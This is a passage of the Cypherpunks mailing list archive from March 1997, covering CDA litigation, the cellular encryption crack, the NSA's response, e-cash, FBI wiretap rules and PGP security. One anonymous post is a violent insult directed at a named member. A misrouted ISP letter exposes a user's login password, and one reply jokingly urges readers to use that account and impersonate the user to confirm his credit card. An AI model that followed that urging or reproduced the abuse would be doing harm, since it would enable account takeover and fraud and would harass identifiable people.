David Sobel, a lawyer at EPIC and co-counsel in the CDA suit, told me the
Justice Department could use this combination to argue just that: "I think
if there were a large installed base of technology that could make
compliance with a CDA-type statute feasible, then a court might not have
the same problems with it. If you were looking at a technological
environment where there's a large installed base of PICS-compliant
browsers, then the argument would be that to comply with the CDA you have
to self-rate your stuff."

-Declan





On Thu, 20 Mar 1997, Bill Stewart wrote:

> One of the main arguments about technology for the good guys is that
> the CDA's infringements on free speech are not the least restrictive
> means for accomplishing their (claimed) objective - technology gives us
> some options today (like censor-filters) - and advances in technology
> _strengthen_ the pro-free-speech case, because they provide more alternatives
> that are less restrictive than the censorship approach.
> 
> At 06:45 PM 3/19/97 -0500, Declan wrote:
> >http://cgi.pathfinder.com/netly/editorial/0,1012,744,00.html
> >     Justice Scalia, who noted that he uses a
> >computer, pointed out that technology is rapidly
> >changing. "So much of your argument is based on
> >what's currently available," he said to Ennis.
> >"This technology is changing so quickly. Is it
> >possible that this statute is unconstitutional
> >now but could be [constitutional] in four or five
> >years?" Ennis replied: "Not as it's written."
> >
> >     During a subsequent press conference, Ennis
> >added that indeed, the technology is changing,
> >and is giving parents more control over what
> >their children do and see online. "Precisely
> >because the technology is changing, the
> >government should not be trying to enforce this
> >law," he said. The ACLU attorneys who joined
> >Ennis were grinning: the justices appeared to
> >understand the nature of communications online,
> >noted that teens have rights, and focused on free
> >speech, not porn.
> 
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 20 Mar 1997 13:49:35 -0800 (PST)
To: Lile Elam <cypherpunks@toad.com
Subject: Re: Isn't this like a bad idea?
In-Reply-To: <199703202045.MAA16675@art.net>
Message-ID: <v03007805af5763780d26@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:45 PM -0800 3/20/97, Lile Elam wrote:
>Hi folks,
>
>Selling email addresses seems to me to be a bad idea. Wouldn't
>it be better to have people sign up instead of this? I mean,
>it looks like this is for spammers.
>
>Who can I contact about this abuse?
>

It may be tacky and undesirable, but public information is just that, public.

(I don't mean some quasi-legalistic distinction between "public" and
"private," as defined by regulators, I mean information publically
accessible.)

If one wants something kept private, use privacy tools.

(And as Cypherpunks know so well, if regulators/legislators attempt to
interfere in such markets, the markets will simply move to other
jurisdictions, or into cyphersace.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Thu, 20 Mar 1997 14:21:03 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Cell Phone Code Cracked
Message-ID: <88CE23A0B727D0118BB000805FD47524010C200C@RED-81-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain



From:	John Young

[................]These
technologists, who planned to release their findings in a news
release on Thursday, argue that the best way to insure that
the strongest security codes are developed is to conduct the
work in a public forum. And so they are sharply critical of
the current industry standard setting process which has made
a trade secret of the underlying mathematical formulas used to
create the security codes.
......................................


It becomes apparent that some people have the ideas of "private" and
"public" backwards - they do in secret what should be done openly while
supporting the license to access what should be private matters.

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Mar 1997 12:32:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: U.S Mint Electronic Cash Study
Message-ID: <v03020935af57407245bd@[204.179.136.178]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: jmuller@brobeck.com (John D. Muller)
Mime-Version: 1.0
Precedence: Bulk
Date:  Thu, 20 Mar 1997 08:38:05 -0800
From: jmuller@brobeck.com (John D. Muller)
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  Re: U.S Mint Electronic Cash Study

     Federal Reserve Governor Kelley and New York Fed President McDonough
     have both stated that the Fed has no plans to issue electronic money.
     See:  http://www.bog.frb.fed.us/BOARDDOCS/SPEECHES/19960618.htm
           http://www.ny.frb.org/pihome/news/speeches/sp961008.html
----------
The e$ lists are brought to you by:

Intertrader Ltd - Commerce Solutions in the UK
Visit <http://www.intertrader.com/> for details ...

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it!  See <http://www.shipwright.com/rah.html>
Or, for e$/e$pam sponsorship, see <http://www.shipwright.com/rah/>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Mar 1997 12:33:04 -0800 (PST)
To: cryptography@c2.org
Subject: ONK?: SANS Network Security Digest?
Message-ID: <v03020938af57419e8c59@[204.179.136.178]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: ploshin@pop.tiac.net
Date: Thu, 20 Mar 1997 11:39:22 -0500
To: Robert Hettinga <rah@shipwright.com>
From: Pete Loshin <pete@loshin.com>
Subject: Re: DCSB: Stewart Baker on Clinton Administration Crypto
  Policy and Digital Commerce
Mime-Version: 1.0

Bob, just a quick question, have you heard/seen anything on this:

|            The SANS Network Security Digest                   |
|                 Contributing Editors:                         |
|    Michele Crabb, Matt Bishop, Steve Bellovin, Rob Kolstad    |
|   Gene Spaford, Marcus Ranum, Gene Schultz, Dorothy Denning   |
----A Resource for Computer and Network Security Professionals---

It's an $80/yr e-mail newsletter; there are a lot of recognizable names
there, but the thing isn't digitally signed.  Also, isn't it "Spafford"?
Anyway, anything you know would be appreciated, and if you don't know
anything, could you ask around (e.g., some of the likelier mailing lists
which I no longer subscribe to.)

<snip>

Thanks,
-pl




/-------------------------\
| Pete Loshin             |
| BYTE                    |
| 24 Hartwell Ave         |
| Lexington, MA 02173     |
| vox +1 617/860-6830     |
| fax +1 617/860-6522     |
| pete@loshin.com         |
\-------------------------/

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 20 Mar 1997 12:12:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: FBI Wiretap Payments
Message-ID: <1.5.4.32.19970320200459.006caec8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The FBI has published in the Federal Register today:

Implementation of Section 109 of the Communications Assistance
for Law Enforcement Act

AGENCY: Federal Bureau of Investigation, DOJ.

ACTION: Final rule.

-----------------------------------------------------------------------

SUMMARY: This rule implements section 109 of the Communications
Assistance for Law Enforcement Act (CALEA), which requires the Attorney
General to establish regulations which set forth the procedures that
telecommunications carriers must follow in order to receive
reimbursement under Sections 109 and 104 of CALEA. CALEA requires that
this rule enable carriers to receive payments in a timely and cost-
efficient manner while minimizing the cost to the Federal Government.
Specifically, this rule sets forth the means of determining allowable
costs, reasonable costs, and disallowed costs. Furthermore, it
establishes the requirements carriers must meet in their submission of
cost estimates and requests for payment to the Federal Government for
the disbursement of CALEA funds. In addition, this rule protects the
confidentiality of trade secrets and proprietary information from
unnecessary disclosure. Finally, it sets forth the means for
alternative dispute resolution.

-----

http://jya.com/fbi032097.txt  (177K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 20 Mar 1997 12:48:50 -0800 (PST)
To: rah@shipwright.com (Robert Hettinga)
Subject: Re: ONK?: SANS Network Security Digest?
In-Reply-To: <v03020938af57419e8c59@[204.179.136.178]>
Message-ID: <199703202045.PAA14761@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


	I see it at a security meeting each month.  Its a good summary
of the last month's advisories, but if you're on bugtraq & BOS, it
won't add new data.

	If you've unsubscribed due to time, its probably worth the
money.

Adam


Robert Hettinga wrote:
| 
| --- begin forwarded text
| 
| 
| X-Sender: ploshin@pop.tiac.net
| Date: Thu, 20 Mar 1997 11:39:22 -0500
| To: Robert Hettinga <rah@shipwright.com>
| From: Pete Loshin <pete@loshin.com>
| Subject: Re: DCSB: Stewart Baker on Clinton Administration Crypto
|   Policy and Digital Commerce
| Mime-Version: 1.0
| 
| Bob, just a quick question, have you heard/seen anything on this:
| 
| |            The SANS Network Security Digest                   |
| |                 Contributing Editors:                         |
| |    Michele Crabb, Matt Bishop, Steve Bellovin, Rob Kolstad    |
| |   Gene Spaford, Marcus Ranum, Gene Schultz, Dorothy Denning   |
| ----A Resource for Computer and Network Security Professionals---
| 
| It's an $80/yr e-mail newsletter; there are a lot of recognizable names
| there, but the thing isn't digitally signed.  Also, isn't it "Spafford"?
| Anyway, anything you know would be appreciated, and if you don't know
| anything, could you ask around (e.g., some of the likelier mailing lists
| which I no longer subscribe to.)
| 
| <snip>
| 
| Thanks,
| -pl

-- 
"Well, that depends.  Do you mind the end of civilization as we know
it?"








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 20 Mar 1997 15:51:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: NSA responds to criticism over weakening cellular crypto
Message-ID: <Pine.GSO.3.95.970320155109.27273G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 20 Mar 1997 15:50:40 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: NSA responds to criticism over weakening cellular crypto

John Markoff writes in today's NYT:

	Several telecommunications industry officials said the
	pressure came from the National Security Agency, which feared
	that stronger encryption technology might allow criminals or
	terrorists to conspire with impunity by cellular phones.

	But independent security experts now say that the code is easy
	enough to crack that anyone with sufficient technical skills
	could make and sell a monitoring device that would be as easy
	to use as a police scanner is.

Below the NSA's Clint Brooks responds to Dave Banisar.

-Declan

---------- Forwarded message ----------
Date: Thu, 20 Mar 1997 18:08:28 -0500
From: Dave Banisar <Banisar@epic.org>

>Date: Thu, 20 Mar 1997 17:35:44 -0500
>From: Clinton Brooks <cbrooks@romulus.ncsc.mil>
>Reply-To: cbrooks@romulus.ncsc.mil
>MIME-Version: 1.0
>To: banisar@epic.org
>CC: "Brooks, Clinton" <cbrooks@romulus.ncsc.mil>
>Subject: Cellular Phone Flaw
>
>Dave,
>
>   Re your comments on the flaw apparently found in cellular phones:
>
>   We have released the following statement:
>
>   "NSA had no role in the design or selection of the encryption
>algorithm chosen by the Telecommunications Industry Association (TIA).
>NSA also had no role in the design or manufacture of the telephones
>themselves.  As we understand the researchers' claim, it appears that
>the algorithm selected and the way it was implemented in the system has
>led to the stated flaws.
>
>NSA provided the TIA with technical advice on the exportability of these
>devices under U.S. export regulations and processes."
>
>
>								Clint
>


=========================================================================
David Banisar (Banisar@epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003
PGP Key: http://www.epic.org/staff/banisar/key.html
=========================================================================









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Thu, 20 Mar 1997 14:41:15 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: ONK?: SANS Network Security Digest?
In-Reply-To: <v03020938af57419e8c59@[204.179.136.178]>
Message-ID: <v0300780eaf576ba5ee4b@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



>|            The SANS Network Security Digest                   |
>|                 Contributing Editors:                         |
>|    Michele Crabb, Matt Bishop, Steve Bellovin, Rob Kolstad    |
>|   Gene Spaford, Marcus Ranum, Gene Schultz, Dorothy Denning   |
>----A Resource for Computer and Network Security Professionals---

Bob reported:

>It's an $80/yr e-mail newsletter; there are a lot of recognizable names
>there, but the thing isn't digitally signed.  Also, isn't it "Spafford"?
>Anyway, anything you know would be appreciated, and if you don't know
>anything, could you ask around (e.g., some of the likelier mailing lists
>which I no longer subscribe to.)

It's still free!

>From the March issue:

(A _great_ summary of the month's compsec events, despite misspelling
Spaf's name. _Vin)

<quote>

The SANS Network Security Digest is published via email approximately
eight times per year.  It's purpose is to help busy sysadmins and
security professionals gain confidence that they are aware of the
important security vulnerabilities and what can be done to resolve them.
Subsriptions are always free for all who attend SANS and Network Security
conferences.  Others may also subscribe at no cost as long as their
subscriptions are received before April 30, 1997. Free subscriptions
entered before April 30 are effective through the end of next year (1998).

To subscribe, send email to sans@clark.net.
In the Subject: SANS Network Security Digest,
In the Body: name, title, organization, preferred email address, and, if
you also want an updated network security roadmap wall poster, your
surface mailing address.

After March 31, subscriptions are $80 per year. Send check to SANS
Network Security Digest, 4610 Tournay Road, Bethesda, MD 20816. The
Digest is copyrighted and may not be retransmitted or distributed or
copied without written permission.
<end quote>

      Vin McLellan + The Privacy Guild + <vin@shore.net>
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548
                                  -- <@><@> --






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 20 Mar 1997 15:43:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] PRNG
Message-ID: <199703202343.SAA14458@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May, a product of anal birth, appeared 
with a coathanger through his head.

    o      o o o   o
   /~>    <><><>   <> Timmy May
o...(\    ||||||   ||





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 20 Mar 1997 16:02:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGP Security
In-Reply-To: <199703201102.GAA30790@dhp.com>
Message-ID: <Pine.LNX.3.95.970320185104.1482A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 20 Mar 1997, lucifer Anonymous Remailer wrote:

>   I am passing along the following message, not because of my belief in
> the accuracy or veracity of its contents, but merely because of the 
> fact that it seems to have kept getting eaten up by various email
> systems in the attempts to send it to its original destination.
>   The first time it was sent via a remailer, it was bounced for ill-
> defined reasons. The second time it was sent, the remailer was shut
> down, and remains shut down.
>   Efforts to send it through a second remailer also failed, with no
> notice from the server of any problems being received. Other email
> sent through the remailer at the same time encountered no difficulties.

Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did receive
the following message which originated from "TruthMonger."  Shortly after I
received the message, anon.nymserver.com closed down all of its free,
anonymous accounts due to "abuse."

>   I am only noting the facts, here, not proferring any personal judge-
> ments on the matter, although I have formed my own opinion as to the
> meaning of these facts, particularly since I, myself, came by this 
> post during the process of email interception.

I am skeptical.

> 
> > X-Anon-Password: XXXXXXXXXX
> > X-Anon-To: XXXXXXXXXXX
> > X-Anon-Name: XXXXXXXXXXXX
> 
> XXXXXXXXX,
>  I thought I would reply privately to you, since you seem to
> at least have a willingness to allow the possibility of compromises
> to the security of the encryption methodologies behind PGP programs,
> among others.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMzHQxyzIPc7jvyFpAQEVeAgAlCqL2chXC0C79lb5IGGy9zE6eIYl/ZKQ
mHqYRLjZ9wrKh88/1SDgbK1t3fBKPU/VP8NyCsmWcWuvvylXtr+GAoY9YzdovkIG
awCMm6p4oBNzCf0KvzGoLYG0Y+nx+zNrNpM/7Yw4E3YmXPryD/XY1Wzq0309Dt+d
EfotBt+FfBiFXzRJTb1VFur2Yyc8uJipoAwlbKZvLSAyxapQu+YtKrp74FVhCNfe
VsPlh8PyePlP2KVGMdqERVLCR6ru2FMcHrjiEkqZDucTLjx2UMo/0Cw6Gba1oqEQ
pPgsx/bf0L/D2tKVPys6psCPrNK0hvm440LJDi+qAAwJaJtK6wiRvQ==
=Sqf2
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 20 Mar 1997 17:23:20 -0800 (PST)
To: jimbell@pacifier.com
Subject: Re: PGP Security
In-Reply-To: <Pine.LNX.3.95.970320185104.1482A-100000@purple.voicenet.com>
Message-ID: <199703210116.TAA12097@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mark M. wrote:
> 
> Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did receive
> the following message which originated from "TruthMonger."  Shortly after I
> received the message, anon.nymserver.com closed down all of its free,
> anonymous accounts due to "abuse."
> 

This is mostly addressed to jimbell: jim, it is now obvious that
the remailer network is as weak as a 5 year old child. It cannot
possibly withstand even mildest forms of "abuse".

Due to this fact, I question the viability of your assassination 
politics idea as it does not seem possible to safely operate an
assassination bot.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nic <sf-nic@dm.net>
Date: Thu, 20 Mar 1997 19:46:05 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Spam from DM.NET
In-Reply-To: <R76V4D30w165w@bwalk.dm.com>
Message-ID: <333203DE.26B5@dm.net>
MIME-Version: 1.0
Content-Type: text/plain


First off, please let me apologize for this un-intentional "spam."  

(I'll spare you guys the irrelevant argument about whether one letter
constitutes "spam."  The bottom line is it shouldn't have happened, it's
not your fault or responsibility, and you shouldn't have to wade through
_my_ shit over piddling crap like definitions.)

The letter in question was specifically addressed to an address at
msn.com, and I honestly have no idea how it ended up being routed to
dm.com, much less a specific individual's mailbox.  Unless Jim
RoadRunner mis-addressed a reply back to dm.net.  But even there, I'm at
a loss to know how it ended up in Dr. Dimitri's mailbox.  In any case,
it shouldn't have landed there at all.

Btw., thanks Toto for passing this back to me.  It does give us a chance
to change the access password.  And to try to figure out what screwed up
where to make sure it doesn't happen again.  


Toto wrote:
> 
> Dr.Dimitri Vulis KOTM wrote:
> >
> > Who the fuck is "dueling modems"?  Why am I getting this shit at my
> > site? This is dm.com, not dm.net.  What a bunch of fucking morons.
> >
> > "Jim RoadRunner" <Wild_Mouse@msn.com> writes:

Dimitri - To you I specifically apologize for the inadvertant arrival of
this email in your box.  It was completely un-intentional and, as you
point out, uncalled-for.  Dueling Modems (dm.net) is most definitely NOT
D&M Consulting (dm.com), or any sub-domain housed under their umbrella. 
We're a small online service that Jim has recently joined, and
apparently a confirmation letter or reply was mistakenly routed to you.

> 
> Dimitri,
>   It's simple enough. The man is generous and wants others to
> be able to use his account, free of charge.
>   He also wants us to pretend that we are him, asking his ISP to
> 'confirm' the credit card number he gave them, to make sure it's
> the right one.

Well, not exactly...  <g>

> 
>   When you find out more about the "Electronic Funds Transfer
> information" they mention, could you forward it to the list so
> that this fellow's generosity will not go unappreciated?

Actually, any EFT information you might pick up would only serve you in
depositing money _into_ Jim's account.  

> 
> --
> Toto
> "The Xenix Chainsaw Massacre"
> http://bureau42.base.org/public/xenix/xenbody.html

Nice story on the web page, btw.


Again, apologies to all and thanks for being gentle about letting us
know about the screw-up.

nic




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 20 Mar 1997 17:35:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spam from DM.NET
In-Reply-To: <UPMAIL09.199703201933120342@msn.com>
Message-ID: <R76V4D30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Who the fuck is "dueling modems"?  Why am I getting this shit at my
site? This is dm.com, not dm.net.  What a bunch of fucking morons.

"Jim RoadRunner" <Wild_Mouse@msn.com> writes:

>
>
> ----------
> From: 	nic
> Sent: 	Wednesday, March 19, 1997 5:26 PM
> To: 	Jim RoadRunner
> Subject: 	Welcome to Dueling Modems!
>
> Dear James,	
>  	
> Welcome to Dueling Modems!	
>  	
> This letter is to confirm that we've received your signup and billing
> information, and have set up your account.	
>  	
> ***** ACCOUNT INFORMATION *****	
>  	
>                              Acct #: 	0032108
>                                  ID: 	wild-mouse
>                            Password: 	railroad
>                          Email Name: 	wild-mouse@dm.net
>                   Email Destination: 	wild_mouse@msn.com
>  	
> We may have tweaked some of the ID/Pwd information you put on the form,
> to meet the requirements of our operating system.  Please make sure you
> use the information above when configuring your software.	
>  	
> ***** EMAIL INFORMATION *****	
>  	
> If your email destination is "local," you'll need to set up your email
> program with the following parameters:	
>  	
>                         POP3 Server:	mail.dm.net
>                         SMTP Server:	mail.dm.net
>                    Email Account ID:	wild-mouse
>              Email Account Password:	railroad
>                         POP Account:	wild-mouse@dm.net
>                           Real Name:	(or your "handle")
>                      Return Address:	wild-mouse@dm.net
>  	
> ***** BILLING INFORMATION *****	
>  	
>       You've chosen to be billed by:	Credit Card
> Your first billing month was/will be:	Apr-97
>           Your billing frequency is:	monthly
>  	
> If you've chosen to be billed by check, you'll receive an invoice via
> email sent to the above destination address.	
>  	
> Electronic Funds Transfer subscribers will receive an additional email
> containing the information you'll need to provide to your bank to set up
> the process.	
>  	
> ***** NEWSGROUP INFORMATION *****	
>  	
> Your personal members' newsgroup is:	
>  	
>      dm.members.wild-mouse	
>  	
> ***** WEB PAGE INFORMATION *****	
>  	
> The URL for your personal web site is:	
>  	
>      http://www.dm.net/~wild-mouse/	
>  	
> If you've opted to have a personal web page:	
>  	
> To load your web pages, you'll need an "ftp client."  This software lets
> you upload files to a remote server.	
>  	
> (Dueling Modems provides links to several ftp packages on our Software
> Warehouse web page.)	
>  	
> Configure your ftp client to log onto:	
>   	
>      www.dm.net	
>  	
> Make sure you set up the ftp client software to use the ID and password
> listed at the beginning of this letter.  You'll be directly connected to
> your own directory space.	
>  	
> Once connected, you'll see a sub-directory named "web_pages".  Log into
> that directory.  You can then upload your HTML files.	
>  	
> For help in creating your web pages, check into the  dm.html.*  area on
> the news server.  The staff there are experts, and are delighted to help
> out.	
>  	
> Apologies for the brevity of these instructions.  We'll be creating an
> Online User's Guide soon, which will include detailed instructions for
> various software packages.  For the time being, though, please ask for
> help in dm.html.*.	
>  	
> ***** USER AUTHENTICATION *****	
>  	
> (aka, Logging into the news server.)	
>  	
> We're beginning to move parts of the service to "subscriber-only" mode,
> which will require you to set up your User ID and Password in your
> newsreading software.	
>  	
> User authentication will also be needed to gain access to private areas
> within the news server.  We've set up two groups specifically to test
> your log-in:	
>   	
>      dm.priv-test.announce	
>      dm.priv-test.sign-in	
>  	
> Please set up your newsreader for user Authentication now, and refresh
> your group list to make sure you can reach these two groups.  If you
> can't, check into  dm.admin.help-desk.newsreaders for assistance.	
>  	
> Unfortunately, the very popular Netscape Navigator does NOT provide any
> way of entering your ID/Password when you try to connect to DM's server,
> which means that eventually you won't be able to reach the BBS with
> Navigator.  :(	
>  	
> The solution is to use a different software package.  We recommend Free
> Agent for Windows users and NewsWatcher for Mac users.  Both of these
> packages are free and available from DM's Software Warehouse web page:	
>   	
>      http://dm.net/software.htm	
>  	
> We're taking our time in making this conversion, btw., so as to make
> sure nobody gets caught unable to reach us.  So don't worry about that.	
>  	
> Of course, installing and learning new software always takes time and
> often requires a bit of hand-holding.  Again, feel free to check into
> the dm.admin.help-desk.newsreader group for help.  That group will be
> publicly available for some time to come.	
>  	
> As mentioned above, we will be setting up an Online User's Guide on the
> DM web site.  Installing and configuring software will be covered
> extensively.  But for the meantime, please use the help desk newsgroup.	
>  	
> Again, welcome to Dueling Modems.  If you have any questions, feel free
> to drop me an email at:	
>   	
>      sysop@dm.net	
>  	
> If I don't know the answer, we'll find somebody who does.  ;)	
>  	
> Nic Grabien	
> President, Dueling Modems
>


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <billstewart@mail.att.net>
Date: Thu, 20 Mar 1997 20:12:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mobile IP Resources -- Analysis of Security and Privacy in Mobile IP
Message-ID: <33320A48.3BE8@mail.att.net>
MIME-Version: 1.0
Content-Type: text/plain

An anonymous poster to alt.cypherpunks recommended the attached article.
http://www.neda.com/mobileIpSurvey/html/mobileIP_37.html

Title: Mobile IP Resources -- Analysis of Security and Privacy in Mobile IP










Go backward to Improving Reliable Transport and Handoff Performance in Cellular Wireless Networks

Go up to Mobile IP Research and Technical papers

Go forward to Variable and Scalable Security: Protection of Location Information in Mobile IP


Analysis of Security and Privacy in Mobile IP
http://www-i4.informatik.rwth-aachen.de/~andreas/PAPERS/SecurityPerformance.ps.gz
Authors: A. Fasbender, D. Kesdogan, and O. Kubitz 
Date: March 1996 
In this paper we present a possible extension of the proposed Mobile 
IP and route optimization protocols, the Non-Disclosure 
Method (NDM). It prevents the tracking of user movements by 
third parties and gives mobile users control over the revelation of 
their location information, according to their personal security 
demands.
We give an overview on Mobile IP protocols and briefly 
discuss these protocols in terms of security issues. We show 
that confidential location management in Mobile IP is an 
unsolved problem. Then we propose our method for 
providing untraceable communications in packet-oriented mobile networks.
NDM is based on the idea of mixes, which 
has been suggested by Chaum for hiding the originator addresses of electronic 
mails. Our algorithm prevents the linkability of sender and recipient addresses 
in Mobile IP, can be easily adopted to other mobility 
supporting networks as well. We conclude our paper with performance 
aspects, discussing the trade-off between the level of 
security provided and the costs of NDM in terms of increased 
packet transmission delays. For this purpose, we present 
a new modelling approach for Internet connections, which is 
based on empirically derived packet delay distributions and 
their analytical description. Our results show that the 
overhead for confidential location management is not 
as critical as might be expected, and that a considerable 
delay reduction compared to mixes can be achieved.


info@neda.com









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wow-com@wow-com.com
Date: Thu, 20 Mar 1997 17:16:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: WOW-COM Registration
Message-ID: <199703210116.UAA11115@intraactive.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear cypherpunks:



Welcome to WOW-COM.  By now you have had a chance to explore WOW-COM's rich content and features. Here are a few items to check out during your next visit.

* The Wireless Daily News - updated three times a day.

* WOW-COM's Career Center - The Wireless Workplace is the premiere source of wireless jobs.  

* Fraud and Antenna Siting Micro sites - latest news, legal developments, resources, and analyses from experts at CTIA.  

>From time to time WOW-COM will use email to inform you of new features.  Please let us know if you do not want to receive these updates.  WOW-COM does  not sell or distribute its mailing lists.

Sincerely,

The WOW-COM Team
wowcom@ctia.org

http://www.wow-com.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 20 Mar 1997 18:25:52 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Spam from DM.NET
In-Reply-To: <R76V4D30w165w@bwalk.dm.com>
Message-ID: <3331F1DE.6DD@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> Who the fuck is "dueling modems"?  Why am I getting this shit at my
> site? This is dm.com, not dm.net.  What a bunch of fucking morons.
> 
> "Jim RoadRunner" <Wild_Mouse@msn.com> writes:

Dimitri,
  It's simple enough. The man is generous and wants others to 
be able to use his account, free of charge.
  He also wants us to pretend that we are him, asking his ISP to
'confirm' the credit card number he gave them, to make sure it's
the right one.

  When you find out more about the "Electronic Funds Transfer 
information" they mention, could you forward it to the list so
that this fellow's generosity will not go unappreciated?

> > This letter is to confirm that we've received your signup and billing
> > information, and have set up your account.
> >
> > ***** ACCOUNT INFORMATION *****
> >
> >                              Acct #:  0032108
> >                                  ID:  wild-mouse
> >                            Password:  railroad
> >                          Email Name:  wild-mouse@dm.net
> >                   Email Destination:  wild_mouse@msn.com
> >
> > ***** BILLING INFORMATION *****
> >
> >       You've chosen to be billed by:  Credit Card
> > Your first billing month was/will be: Apr-97
> >           Your billing frequency is:  monthly
> >
> >
> > Electronic Funds Transfer subscribers will receive an additional email
> > containing the information you'll need to provide to your bank to set up
> > the process.
> >      sysop@dm.net
> > Nic Grabien
> > President, Dueling Modems
> >
> 
> ---

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 20 Mar 1997 18:38:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: CTIA Downplays Code Crack
Message-ID: <1.5.4.32.19970321023106.006e3a40@pop.pipeline.com>
